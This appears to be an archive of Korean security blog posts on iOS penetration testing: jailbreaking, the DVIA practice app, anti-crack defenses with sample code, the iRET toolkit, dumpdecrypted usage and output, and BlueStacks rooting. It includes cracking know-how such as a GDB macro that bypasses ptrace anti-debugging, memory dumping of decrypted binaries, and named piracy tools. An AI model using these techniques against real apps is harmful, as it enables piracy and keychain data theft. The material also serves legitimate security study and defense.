Jailbreaking your device (탈옥)


디바이스를 탈옥하면 많은 이득이 있다. nmap, metasploit과 같은 툴을 설치하거나 파이선 코드를 실행 가능하다.


iOS 디바이스를 탈옥가능한  디바이스 버전이 iOS 5.x. 이전이면 redsn0w를 이용하며, 버전이 iOS 6.x 이상이라면 evasi0n을 이용하여 탈옥을 권고한다.


 evasiOn : http://evasi0n.com

 redsn0w : http://www.redsn0w.us





1





Selling up a mobile audiling platfom




- OpenSSH

- BigBoss Recommended tools - APT 0.6 Transitional, Git, GNU Debugger, less, make, unzip, wget and SQLite 3.x 

- MobileTerminal





# ssh root@localhost

# apt-get update

# apt-get upgrade




class-dump-z

iOS 어플리케이션의 dump class 정보를 사용하기 위해서 class-dump-z를 설치한다.

 https://code.google.com/p/networkpx/wiki/class_dump_z


해당 사이트에서 class-dump-z_0.2a.tar.gz의 링크주소를 복사하여 wget을 이용하여 다운받는다.

# wget http://networkpx.googlecode.com/files/class-dump-z_0.2a.tar.gz


# tar -xvfz class-dump-z_0.2a.tar.gz


# cd iphone_armv6/

# cp class-dmp-z /usr/bin

# class-dump-z



※ 참고 자료

 SecurityTube : http://www.securitytube.net

 Security Learn : http://www.securitylearn.net/

 Hacking and Securing iOS applications : http://www.amazon.com/Hacking-Securing-iOS-Applications-Hijacking/dp/1449318746

 Lookout's : https://blog.lookout.com/









저작자 표시
신고

Damn Vulnerable iOS Application(DVIA)


iOS 모의해킹 스킬을 테스트  가능한 취약한 앱


 name

 Damn Vulnerable iOS Application (DVIA)

 Author

 prateekg147

 Site

 http://damnvulnerableiosapp.com/

 License type

 - 

 Download

 - 



About


Damn Vulnerable iOS Application was born from the need to have a tool where a user can test their iOS penetration testing skills in a safe and legal environment. Also, this application can be used by mobile security enthusiasts and students to learn or review the basics of mobile application security.


Damn Vulnerable iOS Application은 

- Insecure Data Storage 불안전한 암호 저장

- Jailbreak Detection 탈옥 탐지

- Runtime Manipulation 런타임 조작

- Piracy Detection 침해 탐지

- Transport Layer Security 안전한 전송 구간

- Client Side Injection 사용자 측면 인젝션

- Information Disclosure 정보 노출

- Broken Cryptography 암호화 취약점

- Security Decisions via Untrusted input 신뢰하지 않은 입력정보를 통한 

- Side channel data leakage 주변 채널에 의한 데이터 누수

- Application Patching : 어플리케이션 패치


해당 취약점과 해결책은 iOS 버전 7.0.6에서 테스트하였습니다.


The app also contains a section on iOS Application Security Tutorials for those who want to learn iOS Application Pentesting. Every challenge/vulnerability has a link for a tutorial that users can read to learn more on that topic.


This app will only run on devices running iOS 7 or later. Users can download the source code and run the application on previous versions of iOS as well.





 

저작자 표시 비영리 동일 조건 변경 허락
신고

크랙 방지 (Crack prevention)


크랙 작동 원리


재배포


크래커들은 재배포 할 파일들을 얻는다. 대표적인 DRMs(DRM : 디지털 권리 관리)을 무력화하는 대표적인 툴은 Crackulous와 AppCrack이 존재한다. 해당 툴을 이용하여 인증받지 않은 기기에 재 배포한 IPAs을 설치 가능하다.

※ Crackulous와 AppCrack는 Cydia에서 다운 및 설치 가능하다.

AppStore
앱스토어의 모든 앱들은 역분석(reverse engineering)을 방지하기 위해 암호화되어 다운로드된다. 

또한 인증받은 계정을 이용하면 자신의 다른 기기에도 다운로드 및 설치가 가능하다. 하지만 CPU에서는 암호화된 명령어(CPU instructions)들은 작동할 수 없다. 모든 앱을 실행되면 복호화가되어 램에 로딩된다. 크래커들은 이러한 사실을 공격(exploit)하게되며, 해당 앱을 실행시 GDB를 이용하여 복호화된 데이터를 덤프하게된다.


암호화된 앱들은 LC_ENCRYPTION_INFO 명령어를 로드하며, 명령어는 다음과 같다.

#define LC_ENCRYPTION_INFO 0x21
struct encryption_info_command {
  uint32_t cmd;
  uint32_t cmdsize;
  uint32_t cryptoff;   // file offset of first encrypted byte
  uint32_t cryptsize;  // file size of encrypted data
  uint32_t cryptid;    // method of encryption
};

바이너리 파일이 암호화 되었을때 load command는 반드시 존재하며, 아래 crypt으로 시작하는 3개의 필드 값은 0이 아니다. deCrypt, xCrack과 같이 GDB명령어를 이용하여 덤프를 얻는다.

GDB를 이용한 메모리 덤프 작성





CydiaStore와 RockApp

CydiaStore와 RockApp은 간단히 말해 흔히 사용하고 있는 APT/DPKG 시스템므로 인증된 보안 레포지토리(repositories)를 연결하여 사용합니다. AppStore와 같은 암호화/DRM이 없습니다. 그러므로 

모든 크랙커들은 .deb 다운로드 및 획득을 위해서 사용합니다.


크랙방지


일반적인 기술


모든 불법복제 크래킹을 100% 막을 수 없습니다. 왜냐하면 배포되는 모든 앱의 모든 코드에 접근 가능하기 때문이다. 하지만 합법적인 판매 절차를 걸치거나 분석 시 초기 지연을 가능하게 할 수 있습니다.


Multi-pass check

위치를 변경한 다양한 체크방식과 같은 간단한 방법을 이용하여 크래커들의 분석을 복잡하게 만들 수 있다. 편리한 방법으로는 인라인 함수를 정의하는 것이다.

__attribute__((always_inline)) void check_crack(symbol, length, result) {
  if (checksum(symbol, length) != result)
    exit(0);
}
...
check_crack(my_inline_uuid_check, 0x200, 0x12345678);
register int res = my_inline_uuid_check();
...
check_crack(my_inline_serial_number_check, 0x200, 0x87654321);
...

여기서 중요한 점은 항상 _inline을 사용하는 것이다. 크래커는 check_crack() 함수를 바로 패치할 것이며 안티 크랙은 바로 실패 될 수있다. 하지만 너무 CPU 코드 사용을 아끼려하지 말아라.


※ 인라인 함수 vs 일반함수

1. 일반함수 수행방법

프로그램이 함소 호출 명령에 도달하면 다음과 같은 흐름을 갖는다.

함수 호출 후 다음으로 사용할 명령어의 주소를 메모리에 저장 -> 스택에 전달인자를 복사 -> 해당 함수의 시작의 메모리 위치로 점프 -> 함수 수행 -> 함수 리터값을 레지스트리에 저장 


2. 인라인 함수 수행방법

인라인 함수는 프로그램 코드들 가운데 컴파일된 함수 코드가 삽입된다. 이는 컴파일러에 의해 해당 인라인 함수가 함수 코드로 대체된다. 인라인 함수를 사용하면, 프로그램은 해당 코드를 수행하기 위해 위의 일반 함수 수행처럼 메모리에 있는 함수 주소를 찾아 점프할 필요가 없어지게 되어, 일반 함수보다 약간이나마 빠른 수행 속도를 갖을 수 있다. 하지만 크기가 큰 코드를 가진 함수를 인라인 함수로 사용하고, 10번을 호출하게 된다면, 해당 프로그램 코드 사이에 10개의 복사본을 가지게 되어 메모리 효율성면에서 따지면 좋지 않을 수 있다.



Anti-redistribution


카피본이 재배포되는 것을 막을 수 있다.



Anti-analysis


분석되기 전에 바이너리를 피한다.


Malformed Mach-O binaries

otool, gdb, class-dump 등 많은 리버스 엔지니어링 툴은 Mach-O 파일의 형식(format)의 신뢰 아래 작동하게 된다. 잘못된 Mach-O 파일의 형식인 경우 해당 툴들은 작동하지 않는다. 한편 실행할 수 있도록 만들기 위해선 제한적인 커널의 충돌을 막을 수 없다.

세그먼터 명령어 안에 잘못된 세션값을 세팅하기 위한 한가지 방법이 존재하지만, 바이너리끼리 연결하거나 실행하게 만든다해도 Idid나 dyId 모두 이러한 에러에 복구가 불가능하거나 어렵다.  

하지만 dylib/executable working: Idid -S

But you can do the following to get your dylib/executable working: ldid -S the binary, modify nsects and then recreate the SHA with ldid -s. After that the binary is fully usable on the iDevice.

크래커는 앱의 분석하고 수행방식을 계삭하여 간단하게 고칠 수 있다.


PT_DENY_ATTACH

PT_DENY_ATTACH는 커널 레벨에서 바이너리를 디버깅할때 해당 디버거(GDB, DTrace, etc)들을 방지 할 수있는 애플의 특수한 상수입니다.

ptrace(PT_DENY_ATTACH, 0, 0, 0);

부모 트레킹에게 SEGFAULT를 보낼 것이다. 그럼에도 불구하고, ptrace는 잘 정의된 주소를 가지고 있어서, 간단한 GDB 메크로도 ptrace를 충분히 깰 수있다.

break ptrace
commands 1
   return
   continue
end

다음과 같은 어셈블리와 유사한 코드로 syscall 26이 수행될 때만 ptrace는 사용자공간(userspace) 인터페이스가 커널 안에서 구현된다.

mov r0, #31
mov r1, #0
mov r2, #0
mov r3, #0
mov ip, #26
svc #0x80

PT_DENY_ATTACH가 설치되어도 GDB를 해결할 방법은 없습니다. 크래커는 여전히 SVC 번호 0x80으로 명령어를 NOP하는 패치 기술을 사용할 있지만, 체크섬이 이 방법을 조금이나마 도와줄 수 있다. 또한 바이너리를 thumb에서 컴파일 하지말아라, thumb 모드가 레지스트리의 가용성을 제한하여 컴파일 실패의 원인이 된다.



Obfuscation


Strip symbols

Stripping symbols은 루틴의 목적을 추축하니 어렵게 만든다.


Minimize use of Objective-C

To support the runtime features, Objective-C-based binaries need to retain a lot of class information, which is enough to rebuild the class interface. These information cannot be stripped away. Therefore, all essential stuff should be done using C or C++.


Generate strings dynamically

Even if you have stripped the binary, there is must still be a constant string pool. If you use some visual technique to inform the user they're using a cracked version, the crackers can quickly track down where the view is generated with strings and disable your check.



Legitimacy check


Check if encryption is intact

이 방법은 오직 스토어 앱에 대해서만 의미가 있다. 바이너리가 복호화가 되지 않은경우, LC_ENCRYPTION_INFO 로드 명령어 존재하고 모든 필드가 0이 아니여야한다.

해당 코드는 아래와 같다.

#import <mach-o/dyld.h>

#import <TargetConditionals.h>

 

/* The encryption info struct and constants are missing from the iPhoneSimulator SDK, but not from the iPhoneOS or

 * Mac OS X SDKs. Since one doesn't ever ship a Simulator binary, we'll just provide the definitions here. */

#if TARGET_IPHONE_SIMULATOR && !defined(LC_ENCRYPTION_INFO)

#define LC_ENCRYPTION_INFO 0x21

struct encryption_info_command {

    uint32_t cmd;

    uint32_t cmdsize;

    uint32_t cryptoff;

    uint32_t cryptsize;

    uint32_t cryptid;

};

#endif

  

int main (int argc, char *argv[]);

  

static BOOL is_encrypted () {

    const struct mach_header *header;

    Dl_info dlinfo;

      

    /* Fetch the dlinfo for main() */

    if (dladdr(main, &dlinfo) == 0 || dlinfo.dli_fbase == NULL) {

        NSLog(@"Could not find main() symbol (very odd)");

        return NO;

    }

    header = dlinfo.dli_fbase;

 

    /* Compute the image size and search for a UUID */

    struct load_command *cmd = (struct load_command *) (header+1);

     

    for (uint32_t i = 0; cmd != NULL && i < header->ncmds; i++) {

        /* Encryption info segment */

        if (cmd->cmd == LC_ENCRYPTION_INFO) {

            struct encryption_info_command *crypt_cmd = (struct encryption_info_command *) cmd;

            /* Check if binary encryption is enabled */

            if (crypt_cmd->cryptid < 1) {

                /* Disabled, probably pirated */

                return NO;

            }

             

            /* Probably not pirated? */

            return YES;

        }

         

        cmd = (struct load_command *) ((uint8_t *) cmd + cmd->cmdsize);

    }

     

    /* Encryption info not found */

    return NO;

}

http://landonf.bikemonkey.org/2009/02/index.html


Deprecated or not working methods


Kali Anti-Riracy는 RIP 개발자에 의해 개발된 칼리 불법 복제 방지이다. 첫 발표는 일반 앱 스토어의 크랙 방지 매커니즘을 발표하였다.  이후 RiP-Dev는 닫았다. 칼리는 혀내 폐기 된것으로 간주한다.

http://kaliap.com/

칼리는 3레벨의 방어를 한다

- Anti-debugging

- Anti-dumping

- Integrity check and dynamic code generation


※ 참조 http://iphonedevwiki.net/index.php/Crack_prevention


결론은 크랙은 못막음.

저작자 표시
신고

Introducing the iOS Reverse Engineering Toolkit


It should be the goal of every worker to expend less time and energy to achieve a task, while still maintaining, or even increasing, productivity. As an iOS penetration tester, I find myself repeating the same manual tasks for each test. Typing out the same commands to run various tools that are required to help me do my job. And to be honest, it’s completely monotonous. Every time I fat-finger a key, I lose productivity, forcing me to expend more time and energy to achieve the task. I’m a fan of automation. I’m a fan of streamlined innovation that saves me time and still accomplishes, for the most part, the same results. It was this desire to save time, and reduce my likelihood of suffering from carpal tunnel, that I created the iOS Reverse Engineering Toolkit.

=> 아이폰 OS 침투 테스트 시 반복되는 작업을 줄이기 위해 만든 툴



 Tool name

 iRET 

 Author

 

 Website

 https://blog.veracode.com

 License type

 -

 Download

 

iRETTool.zip



https://blog.veracode.com/2014/03/introducing-the-ios-reverse-engineering-toolkit/


iRET Features


What exactly does iRET do that can help you, an iOS penetration tester, perform your job more efficiently? Below, in Figure #1, is a screenshot of the main landing page of the application. This page lets you know what tools need to be installed, and even tells you if they aren’t. This is also the page where you select the installed application you would like to being analyzing/reverse engineering.



# iRET 실행



# iRET Start

iRET을 실행하면 IP/PORT가 표시된다.



# 특징 1 - 메인 페이지

- oTool

- dumpDecryted

- Sqlite

- Theos

- Keychain_dumper

- file

- plutil

- class-dump-z



# 특징 2 - 바이너리 분석

Binary Analysis : 바이너리 파일을 otool을 이용하여 정보를 추출 및 분석


※ otool란? 실행파일(or obj, lib 등)의 정보를 보여주거나 오브젝트 파일을 디컴파일하여 어셈블리 코드를 추출해주는 툴


iRET의 경우는

실행파일의 Header를 추출하며, 인크립션 정보, 스텍스매쉬 정보, ARC정보를 추출해준다.

인크립션 정보의 경우 GDB를 이용하여 메모리 덤프할때 사용되는 정보이다.

해당 바이너리 파일이 메모리에 얼마나 적제되는지, 암호화가 되었는지 등.



# 특징 3 - 키체인 분석

Keychain Analysis : iOS 자동 로그인을 위해 계정정보와 비밀번호를 저장하는 파일 분석




# 특징 4 - 데이타베이스 분석

Database Analysis : APP이 설치된 디렉토리 하위에 존재하는 모든 DB파일을 검색하여 해당 DB를 선택하면 데이터를 확인 가능함.



# 특징 5 - 로그 뷰어

log viwer : 




# 특징 6 - Plist 뷰어

plist viewer : Plist 확인 가능


※plist 란? 프로퍼티 리스트(property list)는 Mac OS X, iOS, NeXTSTEP, GNUstep 프로그래밍 소프트웨어 프레임워크 등에 이용되는 객제 직렬화를 위한 파일이다. 또한 .plist라는 확장자를 가지므로, 보통 plist 파일이라고 하는 경우가 많다. 프로퍼티 리스트 파일은 보통 사용자의 설정을 저장하는데 쓰인다. 또한, 번들과 애플리케이션 소프트웨어 정보를 저장하기 위해서도 사용되고, 이전 맥 OS에서 리소스 포크 정보를 저장하는데에 사용되었다.

- 위키백과







# 특징 7 - 헤더 파일

Header Files : 

After the user has made their changes to the tweak and is ready to build it, all they need to do is click the “Build” button, at which point the tweak will be compiled and automatically copied to the /Library/MobileSubstrate/DynamicLibraries directory, as seen in Figure #13 below.




# 특징 8 - Theos

Theos : 

After the tweak has been installed, the user simply resprings their device and launches the application they have targeted by the theos tweak.
The final tab, and piece of functionality in the iRET toolkit is the screenshot tab.


# 특징 9 - 스크린샷

Screenshot : 응용 프로그램의 캐쉬에 저장된 스크린샷을 확인 가능

해당 스크린샷은 운영 iOS에서 hold 버튼을 눌렀을 때 저장되는 정보이다.




iOS 앱 분석 도구



저작자 표시
신고

'40. > 42. iOS' 카테고리의 다른 글

Damn Vulnerable iOS Application(DVIA)  (1) 2014.06.14
iOS App 크랙방지  (3) 2014.05.02
Introducing the iOS Reverse Engineering Toolkit  (0) 2014.04.29
dumpdecrypted  (0) 2014.04.29
iOS Jailbreak [계속 수정 예정]  (0) 2014.04.29
[iOS] TinyUmbrella shsh 백업  (0) 2013.10.25

dumpdecrypted

40./42. iOS 2014.04.29 21:39

dumpdecrypted


Dumps decrypted mach-o files from encrypted iPhone applications from memory to disk. This tool is necessary for security researchers to be able to look under the hood of encryption.

 Tool name

 dumpdecrypted

 Author

 stefanesser

 Website

 https://github.com/stefanesser/dumpdecrypted

 License type

 

 Download

 

dumpdecrypted.zip




Dumps decrypted iPhone Applications to a file - better solution than those GDB scripts for non working GDB versions

(C) Copyright 2011-2014 Stefan Esser



Compile:


First adjust the Makefile if you have a different iOS SDK installed.


And then just: make



Usage:


iPod:~ root# DYLD_INSERT_LIBRARIES=dumpdecrypted.dylib /var/mobile/Applications/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/Scan.app/Scan

mach-o decryption dumper


DISCLAIMER: This tool is only meant for security research purposes, not for application crackers.


[+] Found encrypted data at address 00002000 of length 1826816 bytes - type 1.

[+] Opening /private/var/mobile/Applications/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/Scan.app/Scan for reading.

[+] Reading header

[+] Detecting header type

[+] Executable is a FAT image - searching for right architecture

[+] Correct arch is at offset 2408224 in the file

[+] Opening Scan.decrypted for writing.

[-] Failed opening. Most probably a sandbox issue. Trying something different.

[+] Opening /private/var/mobile/Applications/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/tmp/Scan.decrypted for writing.

[+] Copying the not encrypted start of the file

[+] Dumping the decrypted data into the file

[+] Copying the not encrypted remainder of the file

[+] Closing original file

[+] Closing dump file



저작자 표시
신고

'40. > 42. iOS' 카테고리의 다른 글

iOS App 크랙방지  (3) 2014.05.02
Introducing the iOS Reverse Engineering Toolkit  (0) 2014.04.29
dumpdecrypted  (0) 2014.04.29
iOS Jailbreak [계속 수정 예정]  (0) 2014.04.29
[iOS] TinyUmbrella shsh 백업  (0) 2013.10.25
iOS 루트 비밀번호를 잊어버렸을때 복구법  (5) 2013.09.13

iOS Jailbreak


  • iOS 6.1.[3-4-5]    :    http://p0sixspwn.com

- 모든 디바이스 가능

iTunes 11.1.4.62 이전 버전


  • iOS 7.[0-0.6]       :     http://evasi0n.com

- 모든 디바이스 가능




Old Version of iTunes


http://www.oldapps.com/itunes.phpe

저작자 표시
신고

'40. > 42. iOS' 카테고리의 다른 글

Introducing the iOS Reverse Engineering Toolkit  (0) 2014.04.29
dumpdecrypted  (0) 2014.04.29
iOS Jailbreak [계속 수정 예정]  (0) 2014.04.29
[iOS] TinyUmbrella shsh 백업  (0) 2013.10.25
iOS 루트 비밀번호를 잊어버렸을때 복구법  (5) 2013.09.13
시디아 툴 목록  (0) 2013.09.13

BlueStacks 루팅 후 Root Explorer APK 설치





루팅한 BlueStacks 아래와 같이 버전은 0.8.7이다.



 BlueStack Rooting용 툴

 

BSMultiTool_1.06r1.zip


 Superuser

 

UPDATE-Superuser-v3.2.zip


 Root Explorer apk

 

Root Explorer v3.1.7.apk




1. BlueStacks 루팅 하기



BSMultiTool을 압축을 해제한 후 UPDATE-Superuser-v3.2.zip랑 같은 폴더에 놓는다.


BlueStacks을 실행 시킨 후 BSMultiTool.exe를 실행 시키면 아래와 같은 windows 창을 볼 수 있다.


Enter! 하지만 any key...






BlueStacks이 루팅되는 것을 볼 수 있다.




BlueStacks이 종료되면서 루팅이 완료되었다.

Done!!

Q!





2. 외부 Windows에 있는 APK를 BlueStacks에 설치 하기

BlueStack이 설치되어있는 폴더(C:\Program File\BlueStacks)로 접근한다. HD-ApkHandler.exe 실행 파일로 설치하고 싶은 apk를 드래그 앤 드롭을 한다.










설치완료!





저작자 표시
신고

'40. > 41. Android' 카테고리의 다른 글

[Android] 안드로이드에 python 설치  (0) 2015.02.12
Unicode 한글  (0) 2015.01.30
BlueStacks 루팅 후 Root Explorer APK 설치  (0) 2014.04.19
Cheat Engine을 이용한 BlueStacks 메모리 해킹  (2) 2014.04.17
bluestacks 설치 및 App 실행  (0) 2014.04.17
apk manager 5.1  (0) 2013.12.25
1 2 

카운터

Total : 85,369 / Today : 1 / Yesterday : 31
get rsstistory!